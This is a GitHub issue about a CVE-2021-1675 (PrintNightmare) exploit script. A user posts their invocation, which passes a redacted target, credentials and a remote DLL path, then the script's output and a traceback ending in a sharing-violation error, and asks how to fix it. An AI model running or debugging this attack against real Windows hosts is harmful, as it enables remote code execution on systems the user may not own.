Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

impacket.dcerpc.v5.rprn.DCERPCSessionError: RPRN SessionError: code: 0x20 - ERROR_SHARING_VIOLATION - The process cannot access the file because it is being used by another process. #64

Open
Thorium90 opened this issue Jan 26, 2022 · 0 comments

Comments

@Thorium90
Copy link

Hello,
I am having the same issue as #29, but I did not find an answer on the original issue.

Here is my entry:
python3 CVE-2021-1675.py xxx/xxx:[email protected] ‘\xx.xx.xx.xx\data\mydll.dll’

And here is my output:
[] Connecting to ncacn_np:xx.xx.xx.xx[\PIPE\spoolss]
[+] Bind OK
[+] pDriverPath Found C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_dcef07064d319714\Amd64\UNIDRV.DLL
[
] Executing ??\UNC\xx.xx.xx.xx\data\mydll.dll
[] Try 1...
[
] Stage0: 0
[*] Try 2...
Traceback (most recent call last):
File "CVE-2021-1675.py", line 190, in
main(dce, pDriverPath, options.share)
File "CVE-2021-1675.py", line 93, in main
resp = rprn.hRpcAddPrinterDriverEx(dce, pName=handle, pDriverContainer=container_info, dwFileCopyFlags=flags)
File "/usr/local/lib/python3.6/site-packages/impacket-0.9.24.dev1-py3.6.egg/impacket/dcerpc/v5/rprn.py", line 633, in hRpcAddPrinterDriverEx
return dce.request(request)
File "/usr/local/lib/python3.6/site-packages/impacket-0.9.24.dev1-py3.6.egg/impacket/dcerpc/v5/rpcrt.py", line 878, in request
raise exception
impacket.dcerpc.v5.rprn.DCERPCSessionError: RPRN SessionError: code: 0x20 - ERROR_SHARING_VIOLATION - The process cannot access the file because it is being used by another process.

Can you please help me on that ?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant